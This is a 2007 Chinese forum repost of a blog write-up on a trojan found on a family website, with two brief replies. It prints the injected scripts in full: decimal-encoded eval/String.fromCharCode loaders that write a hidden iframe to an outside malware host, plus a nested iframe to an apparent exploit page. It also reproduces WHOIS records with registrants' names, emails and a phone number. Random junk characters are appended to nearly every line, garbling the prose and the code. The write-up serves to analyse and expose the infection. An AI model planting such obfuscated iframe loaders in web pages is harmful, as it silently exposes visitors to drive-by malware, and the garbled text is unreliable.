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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, -/{ 4Jf Wf  
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http://www.areway.cn/?p=175 w.,Q1\*rPp  
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V-n&oCS+f  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: W^3uEm&l!)  
          PP:(EN1  
<script>t=’60,105,102,114,97,109,101, b=~i)`  
32,115,114,99,61,104,116,116,112,58,47,47, O+ }qQNe<  
102,114,101,101,46,117,45,117,117,117,46,99, 9j W2  
110,47,101,114,114,111,114,46,104,116,109, dq[Mj5eC  
32,119,105,100,116,104,61,49,48,48,32,104, $zB[B;-!$  
101,105,103,104,116,61,48,62,60,47,105,102, Bs?7:kN(  
114,97,109,101,62′; 8-y{a.,u.  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> vad12WrG<  
                                                                                                  +f*OliMD  
<script>t=’60,105,102,114,97,109,101,32,115, n,B,"\fw  
114,99,61,104,116,116,112,58,47,47,102,114, s w39\urf  
101,101,46,117,45,117,117,117,46,99,110,47, T3`ludm^u  
101,114,114,111,114,46,104,116,109,32,119, []a[v%PkG  
105,100,116,104,61,49,48,48,32,104,101,105, PJcwH6m  
103,104,116,61,48,62,60,47,105,102,114,97, &WNf M+  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); It2" x;  
document.write(t);</script> el:9wq  
                                                                                                  z<B8mB  
<html xmlns=” M33_ja+L  
http://www.w3.org/1999/xhtml s21wxu:  
“> %W@v2  
<head> gJ2>(k03y  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> WVY\&|)$  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> t3dlS`O  
<title>首页 - 爱生活家庭网 tv!_e$CR  
                                                                                                                                                    2h[85\4  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ChCrL [2  
转换字符串后的大概内容是(谁点击后果自付): wn)JXR  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… sZW^ !z  
                                                                                                                                  2Ry1b+\  
查询玉米u-uuu.cn的详细信息: ;j4?>3  
Domain Name: u-uuu.cn `'V4PUe  
ROID: 20070901s10001s64972306-cn Ug&,Y/tFw2  
Domain Status: ok 1KjU ] r2  
Registrant Organization: 王雷 |j 6OM{@  
Registrant Name: 王雷 >@"Oe  
Administrative Email: czlovexs@126.com >Wz;ySEz  
Sponsoring Registrar: 北京万网志成科技有限公司 J/}:x;Y  
Name Server:ns.yovole.com $V1;la!  
Name Server:ns1.yovole.com jg?x&'u\)  
Registration Date: 2007-09-01 17:54 `[C!L *#,  
Expiration Date: 2008-09-01 17:54 1UKg=A-q  
最后PING了一下地址 都没有什么…. o1<_fI  
                                                                                                ;\p KDPr  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 1x[)/@.'f  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ^a#X9  
<script language=”javascript” src=” -YsLd 9^4  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script h[PYP5{L  
> ,Jd ',>3  
这个玉米应该有可能是木马作者的: S{Er?0wm.R  
foafau.info的详细信息: =9j8cC5y  
Access to INFO WHOIS information is provided to assist persons in F4K0) ;  
determining the contents of a domain name registration record in the :H c0b=  
Afilias registry database. The data in this record is provided by *6} N =Z  
Afilias Limited for informational purposes only, and Afilias does not D:Zy  
guarantee its accuracy.  This service is intended only for query-based X=> =5'  
access. You agree that you will use this data only for lawful purposes x:QgjK  
and that, under no circumstances will you use this data to: (a) allow, yV"ZRrjO'Z  
enable, or otherwise support the transmission by e-mail, telephone, or d'Zqaaf k%  
facsimile of mass unsolicited, commercial advertising or solicitations nB!&Zq  
to entities other than the data recipient’s own existing customers; or %?m$`9yU  
(b) enable high volume, automated, electronic processes that send ca>Z7qT!  
queries or data to the systems of Registry Operator, a Registrar, or # 0Lf<NZ  
Afilias except as reasonably necessary to register domain names or kV3 8`s>+  
modify existing registrations. All rights reserved. Afilias reserves G>q(iF'  
the right to modify these terms at any time. By submitting this query, Q_t`.jus  
you agree to abide by this policy. 8KRba4[  
Domain ID:D22418703-LRMS AhNq/?Q Q~  
Domain Name:FOAFAU.INFO t 89!Ihk  
Created On:20-Nov-2007 16:05:42 UTC l \sU  
Last Updated On:20-Nov-2007 16:05:44 UTC bP^Je&nS*  
Expiration Date:20-Nov-2008 16:05:42 UTC u{*SX k  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) zSFDUZ]A3  
Status:CLIENT DELETE PROHIBITED 1n@8Kv  
Status:CLIENT RENEW PROHIBITED }oNhl^JC  
Status:CLIENT TRANSFER PROHIBITED ~I} &V T  
Status:CLIENT UPDATE PROHIBITED APO>y  
Status:TRANSFER PROHIBITED VhNz8)  
Registrant ID:GODA-040110615 M{*Lp6h  
Registrant Name:liu hong d.P\fPSD  
Registrant Organization: zA1lca0HK  
Registrant Street1:beijing ,JEF GI{  
Registrant Street2: 'CN|'W)g7  
Registrant Street3: kbMYMx.[  
Registrant City:beijing +9") KQT  
Registrant State/Province: dX)GPC-D7  
Registrant Postal Code:100000 )'4k|@8|  
Registrant Country:CN smry2*g  
Registrant Phone:+86.860108888777 L*~J%7  
Registrant Phone Ext.: 8A+SjJ4$  
Registrant FAX: YxP@!U9dE,  
Registrant FAX Ext.: G^` 1]?  
Registrant Email:bbbshiji@163.com u,w:SM@*(  
Admin ID:GODA-240110615 4A2?Uhp y  
Admin Name:liu hong {1b Zg  
Admin Organization: .Fa4shNV  
Admin Street1:beijing 7IjQi=#:  
Admin Street2: 7Ddaf>  
Admin Street3: =-}[ ^u1  
Admin City:beijing m2v'WY5u  
Admin State/Province: T"0,r $3:  
Admin Postal Code:100000  z~>pVs  
Admin Country:CN <,>P0tY}  
Admin Phone:+86.860108888777 :P(K2q3  
Admin Phone Ext.: 6MxKl D7kl  
Admin FAX: A21N|$[  
Admin FAX Ext.: DmOyBtj  
Admin Email:bbbshiji@163.com _z1(y}u}  
Billing ID:GODA-340110615 ]TyisaT  
Billing Name:liu hong Rh>}rGvCUN  
Billing Organization: ]C:l,I  
Billing Street1:beijing r{rQu-|.  
Billing Street2: Y "VY%S^  
Billing Street3: Y]3>7q%  
Billing City:beijing J:kmqk!  
Billing State/Province: %3$*K\Ai  
Billing Postal Code:100000 w&x!,yd;  
Billing Country:CN -^ C=]Medl  
Billing Phone:+86.860108888777 Qr$;AZ G  
Billing Phone Ext.: _Y[jyD1>  
Billing FAX: $e /^u[~:  
Billing FAX Ext.: h)Ff2tX  
Billing Email:bbbshiji@163.com }nMPSerE  
Tech ID:GODA-140110615 +|ycvHd  
Tech Name:liu hong +(+Itmx2&  
Tech Organization: wW%4d  
Tech Street1:beijing =lu/9 i6  
Tech Street2: 3dDX8M?  
Tech Street3: |#*'H*W  
Tech City:beijing fks)+L'  
Tech State/Province: q/4 [3h  
Tech Postal Code:100000 25&J7\P*  
Tech Country:CN SC- $B  
Tech Phone:+86.860108888777 E~AjK'Z  
Tech Phone Ext.: P06R JE  
Tech FAX: QzAK##9bfa  
Tech FAX Ext.: qBT.x,$  
Tech Email:bbbshiji@163.com Z*FrB58  
Name Server:NS27.DOMAINCONTROL.COM <2nZ&M4/s{  
Name Server:NS28.DOMAINCONTROL.COM ,do58i K  
Name Server: t>uN'oCyC  
Name Server: @e'5E^  
Name Server: [S@}T zE  
Name Server: )<xypDQ  
Name Server: {Ions~cO)  
Name Server: A'%1ZQ33O  
Name Server: m B\C?=_  
Name Server: w` DW(hXJ  
Name Server: .&x}NYX4  
Name Server: {Ixg2=E\  
Name Server: 7 K{Nb  
                                                                                                          ~I(Hc.Q  
接着下载每个文件里面的代码: gp-T"l  
一步一步看.. "rAY.E]  
-!8(bjlJ&  
-uH#VP{0M  
X@|&c]]  
1c@} C+F+  
L.=w?%:H=  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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